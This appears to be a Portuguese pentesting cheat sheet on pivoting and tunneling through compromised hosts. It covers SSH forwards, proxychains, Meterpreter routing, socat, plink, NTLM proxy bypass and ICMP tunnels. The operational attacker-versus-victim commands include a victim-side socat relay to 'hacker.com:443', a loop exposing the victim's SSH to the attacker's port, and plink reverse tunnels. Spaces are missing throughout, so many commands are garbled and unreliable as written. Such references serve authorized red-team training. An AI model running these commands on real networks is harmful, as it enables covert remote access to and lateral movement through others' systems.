ssh-Y-C<user>@<ip># -Y é menos seguro, mas mais rápido que -X
Local Port2Port
Abrir uma nova porta no servidor SSH -> Outra porta
ssh-R0.0.0.0:10521:127.0.0.1:1521user@10.0.0.1#Porta local 1521 acessível na porta 10521 de qualquer lugar
ssh-R0.0.0.0:10521:10.0.0.1:1521user@10.0.0.1#Porta remota 1521 acessível na porta 10521 de qualquer lugar
Port2Port
Porta Local -> Host comprometido (SSH) -> Terceira_maquina:Porta
ssh -i ssh_key <usuario>@<ip_comprometido> -L <porta_do_atacante>:<ip_da_vitima>:<porta_remota> [-p <porta_ssh>] [-N -f] #Dessa forma, o terminal ainda está em seu host
#Exemplosudossh-L631:<ip_da_vitima>:631-N-f-l<usuário><ip_comprometido>
Port2hostnet (proxychains)
Porta Local -> Host comprometido (SSH) -> Qualquer lugar
ssh -f -N -D <porta_do_atacante> <usuario>@<ip_comprometido> #Tudo enviado para a porta local irá ser redirecionado para o servidor comprometido (uso como proxy)
Túnel - VPN
Você precisa de root em ambos os dispositivos (já que criará novas interfaces) e a configuração do sshd deve permitir o login de root:
PermitRootLogin yesPermitTunnel yes
sshusername@server-wany:any#Isso criará interfaces Tun em ambos os dispositivos.ipaddradd1.1.1.2/32peer1.1.1.1devtun0#Client side VPN IPipaddradd1.1.1.1/32peer1.1.1.2devtun0#Server side VPN IP
Porta Local -> Host comprometido (sessão ativa) -> Terceira_maquina:Porta
# Inside a meterpreter sessionportfwdadd-l<porta_do_atacante>-p<porta_remota>-r<host_remoto>
Port2hostnet (proxychains)
background#meterpretersessionrouteadd<ip_vitima><máscara_de_rede><sessão># (ex: route add 10.10.10.14 255.255.255.0 8)useauxiliary/server/socks_proxyrun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Outra forma:
background#meterpreter sessionusepost/multi/manage/autoroutesetSESSION<session_n>setSUBNET<New_net_ip>#Ex: set SUBNET 10.1.13.0setNETMASK<Netmask>runuseauxiliary/server/socks_proxysetVERSION4arun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
#Crie o backdoor do meterpreter na porta 3333 e inicie o listener do msfconsole nessa portaattacker>socatOPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1TCP:127.0.0.1:3333
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute o meterpreter
Você pode burlar um proxy não autenticado executando esta linha em vez da última no console da vítima:
Crie certificados em ambos os lados: Cliente e Servidor
# Execute este comando em ambos os ladosFILENAME=socatsslopensslgenrsa-out $FILENAME.key1024opensslreq-new-key $FILENAME.key-x509-days3653-out $FILENAME.crtcat $FILENAME.key $FILENAME.crt>$FILENAME.pemchmod600 $FILENAME.key $FILENAME.pem
Conecte a porta SSH local (22) à porta 443 do host não autorizado
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Conecte-se à porta 443 do invasor e tudo que vier daqui será redirecionado para a porta 22
attacker>sshlocalhost-p2222-lwww-data-ivulnerable#Conecta-se ao SSH da vítima
Plink.exe
É como uma versão de console do PuTTY (as opções são muito semelhantes a um cliente ssh).
Como este binário será executado na vítima e é um cliente ssh, precisamos abrir nossa porta e serviço ssh para que possamos ter uma conexão reversa. Portanto, para encaminhar apenas uma porta acessível localmente para uma porta em nossa máquina:
echo y | plink.exe -l <nosso_username_valido> -pw <senha_valida> [-p <porta>] -R <porta_no_nosso_host>:<proximo_ip>:<porta_final> <seu_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Porta local 9090 para a porta 9090 externa
Bypass de proxy NTLM
A ferramenta mencionada anteriormente: Rpivot
OpenVPN também pode burlá-lo definindo estas opções no arquivo de configuração:
Ele se autentica em um proxy e faz bind em uma porta localmente, que é encaminhada ao serviço externo que você especificar. Então você pode usar a ferramenta de sua escolha por meio desta porta.
Exemplo que faz o forward da porta 443
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Agora, se você definir, por exemplo na vítima o serviço SSH para escutar na porta 443. Você pode se conectar a ele por meio da porta 2222 do invasor. Você também pode usar o meterpreter que se conecta no localhost:443 e o invasor está escutando na porta 2222.
session-i<sessions_id>listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
Troque o DNS do Proxychains
o Proxychains intercepta a chamada gethostbyname da libc e tunela a solicitação DNS tcp através do proxy socks. Por padrão o servidor DNS que o proxychains usa é 4.2.2.2 (hardcoded). Para alterá-lo, edite o arquivo: /usr/lib/proxychains3/proxyresolv e altere o IP. Se você estiver em um Ambiente Windows, você pode definir o IP do domain controller.
O root é necessário em ambos os sistemas para criar adaptadores tun e tunela dados entre eles usando requests echo do ICMP.
./hans-v-f-s1.1.1.1-pP@ssw0rd#Start listening (1.1.1.1 is IP of the new vpn connection)./hans-f-c<server_ip>-pP@ssw0rd-vping1.1.1.100#Após uma conexão bem sucedida, A vítima estara acessível pelo ip 1.1.1.100